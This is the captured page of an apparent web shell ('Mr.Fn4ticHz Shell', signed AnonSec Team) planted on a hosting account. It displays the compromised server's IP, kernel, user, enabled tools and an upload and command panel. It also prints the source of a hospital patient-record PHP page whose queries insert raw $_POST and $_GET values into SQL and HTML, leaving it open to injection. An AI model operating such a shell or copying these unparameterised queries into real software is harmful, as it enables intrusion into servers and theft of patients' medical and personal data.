Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.218.21.143
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/pgbasic.php
<?php
include("header.php");
include("dbconnection.php");
if(isset($_POST[submit]))
{
	if(isset($_GET[editid]))
	{
		$sql ="UPDATE prescription SET treatment_records_id='$_POST[treatmentid]',doctorid='$_POST[select2]',patientid='$_POST[patientid]',prescriptiondate='$_POST[date]',status='$_POST[select]' WHERE prescription_id='$_GET[editid]'";
		if($qsql = mysqli_query($con,$sql))
		{
			echo "<script>alert('prescription record updated successfully...');</script>";
		}
		else
		{
			echo mysqli_error($con);
		}	
	}
	else
	{
		$sql ="INSERT INTO pgbasic(doctorid,patientid,patientname,gender,Age,Address,mobileno,doctorname,AdmissionDate,DischargeDate) values('$_POST[select2]','$_POST[patientid]','$_POST[patientname]','$_POST[gender]','$_POST[Age]','$_POST[Address]','$_POST[mobileno]','$_POST[doctorname]','$_POST[AdmissionDate]','$_POST[DischargeDate]')";
		if($qsql = mysqli_query($con,$sql))
		{
			$insid= mysqli_insert_id($con);
			$prescriptionid= $insid;
			$prescriptiondate= $_POST[date];
			$billtype="Prescription charge";
			$billamt=0;
			include("insertbillingrecord.php");	
			echo "<script>alert(' record inserted successfully...');</script>";
			echo "<script>window.location='Diagnosis.php?prescriptionid=" . $insid . "&patientid=$_GET[patientid]&appid=$_GET[appid]';</script>";
			
		}
		else
		{
			echo mysqli_error($con);
		}
	}
}
if(isset($_GET[editid]))
{
	$sql="SELECT * FROM prescription WHERE prescriptionid='$_GET[editid]' ";
	$qsql = mysqli_query($con,$sql);
	$rsedit = mysqli_fetch_array($qsql);
	
}
?>
<?php
	include("menu.php");
	?>
	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  input{ width: 100%;}
        </style>
</style>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
	

     <h1>Basic Info</h1>
      <form method="post" name="frmpres" onSubmit="return validateform()">
     <input type="hidden" name="patientid" value="<?php echo $_GET[patientid]; ?>"  />
     <input type="hidden" name="treatmentid" value="<?php echo $_GET[treatmentid]; ?>"  />
     <input type="hidden" name="appid" value="<?php echo $_GET[appid]; ?>"  />
    <table class="center" border="1"> 
      <tbody>
      

            <?php
		  	$sqlpatient= "SELECT * FROM patient WHERE status='Active' AND patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rspatient=mysqli_fetch_array($qsqlpatient))
			{
                echo "<tr><td>U.H.I.D NO</td><td><input type='text'  name='patientid' id='patientid' value='$rspatient[patientid]'></td></tr>
                <tr><td>Patient’s Name</td><td><input type='text'  name='patientname' id='patientname' value='$rspatient[patientname]'></td></tr>
                <tr><td>Sex </td><td><input type='text'  name='gender' id='gender' value='$rspatient[gender]'></td></tr>
                <tr><td>Age </td><td><input type='text'  name='Age' id='Age' value='$rspatient[Age]'></td></tr>
                <tr><td>Address </td><td><input type='text'  name='Age' id='Age' value='$rspatient[Country],$rspatient[State],$rspatient[city],$rspatient[pincode]'></td></tr>
                <tr><td>Tel . No</td><td><input type='text'  name='mobileno' id='mobileno' value='$rspatient[mobileno]'></td></tr>
                ";
			}
		  ?>
        
  <?php
		if(isset($_SESSION[adminid]))
		{
		?>
        <tr>
          <td>Healthcare Provider</td>
		  <?php
				$sqldoctor= "SELECT * FROM doctor INNER JOIN department ON department.departmentid=doctor.departmentid WHERE doctor.status='Active' AND doctor.doctorid='$_SESSION[doctorid]'";
				$qsqldoctor = mysqli_query($con,$sqldoctor);
				while($rsdoctor = mysqli_fetch_array($qsqldoctor))
				{
					echo "<input type='text' name='doctorname' id='doctorname' value='$rsdoctor[doctorname],( $rsdoctor[departmentname]'> )";
				}
				?>
                <input type="hidden" name="select2" value="<?php echo $_SESSION[doctorid]; ?>"  />
          </td>
        <?php
		}
		else
		{
		?>        
        <tr>
          <td width="34%">Hospital Name  </td>
          <td width="66%"><select name="select2" id="select2">
          <option value="">Select</option>
            <?php
          	$sqldoctor= "SELECT * FROM doctor WHERE status='Active'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
				if($rsdoctor[doctorid] == $rsedit[doctorid])
				{
				echo "<option value='$rsdoctor[doctorid]' selected>$rsdoctor[doctorid]-$rsdoctor[doctorname]</option>";
				}
				else
				{
				echo "<option value='$rsdoctor[doctorid]'>$rsdoctor[doctorid]-$rsdoctor[doctorname]</option>";				
				}
			}
		  ?>
          </select></td>
        </tr>
          </select></td>
        </tr>
        <?php
		}
		?>
		 <tr>
          <td>Admission Date </td>
          <td><input type="date" name="AdmissionDate" id="AdmissionDate" value="<?php echo $rsedit[AdmissionDate]; ?>" /></td>
        </tr>
		<tr>
        <tr>
          <td>Discharge Date</td>
          <td><input type="date" name="DischargeDate" id="DischargeDate" value="<?php echo $rsedit[DischargeDate]; ?>" /></td>
        </tr>
       
        <tr>
          <td colspan="2" align="center"><input onClick="redirect()" type="submit" name="submit" id="submit" value="Save & Next" /></td>
        </tr>
      </tbody>
    </table>
    <p>&nbsp;</p>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
<script type="application/javascript">
function validateform()
{
	if(document.frmpres.select2.value == "")
	{
		alert("Doctor name should not be empty..");
		document.frmpres.select2.focus();
		return false;
	}
	
	else if(document.frmpres.select3.value == "")
	{
		alert("Patient name should not be empty..");
		document.frmpres.select3.focus();
		return false;
	}
	else if(document.frmpres.date.value == "")
	{
		alert("Prescription date should not be empty..");
		document.frmpres.date.focus();
		return false;
	}
	else if(document.frmpres.select.value == "" )
	{
		alert("Kindly select the status..");
		document.frmpres.select.focus();
		return false;
	}
	else
	{
		return true;
	}
}
</script>

Anon7 - 2022
AnonSec Team